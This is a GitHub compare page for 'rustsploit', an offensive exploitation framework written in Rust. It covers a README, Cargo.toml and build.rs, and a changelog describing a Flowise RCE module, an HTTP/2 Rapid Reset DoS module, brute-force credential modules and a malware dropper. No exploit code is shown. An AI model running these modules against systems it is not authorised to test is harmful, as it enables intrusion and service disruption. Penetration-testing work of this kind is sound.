Compare commits

...

40 Commits

Author SHA1 Message Date
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
40 changed files with 13013 additions and 1306 deletions
+70 -44
View File
@@ -1,98 +1,124 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.3.5"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
rand = "0.9"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
anyhow = "1.0"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.37.2", features = ["multithread"] }
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
walkdir = "2.5"
#ssh
ssh2 = "0.9.5"
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22.1"
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12.8"
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11.1"
ipnet = "2.11.0"
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37.4"
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
data-encoding = "2.5"
#avanti
url = "2.5.4"
semver = "1.0.26"
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0.0"
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# SNMP bruteforce - using manual encoding for reliability
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
+251 -19
View File
@@ -3,11 +3,13 @@
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -16,12 +18,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
5. [CLI Usage](#cli-usage)
6. [Proxy Workflow](#proxy-workflow)
7. [How Modules Are Discovered](#how-modules-are-discovered)
8. [Contributing](#contributing)
9. [Credits](#credits)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
---
@@ -35,6 +39,7 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
-**REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
---
@@ -46,7 +51,7 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
@@ -58,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
@@ -67,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
@@ -75,23 +80,79 @@ cargo build
### Run (Interactive Shell)
```
```
cargo run
```
### Install (optional)
```
```
cargo install --path .
```
---
## Docker Deployment
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
@@ -110,7 +171,7 @@ exit exit | quit | q Leave shell
Example session:
```
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
@@ -128,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
@@ -143,6 +204,177 @@ Any module exposed to the shell can be called here. Use the `modules` shell comm
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
@@ -164,7 +396,7 @@ Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed tra
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
+174 -57
View File
@@ -1,96 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
)?;
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}").unwrap();
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if !dir.is_dir() {
return Ok(());
}
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
+1922
View File
File diff suppressed because it is too large Load Diff
-4
View File
@@ -61,10 +61,6 @@ Here is the original module that needs to be refactored:
gemini
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
Strict Requirements:
+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
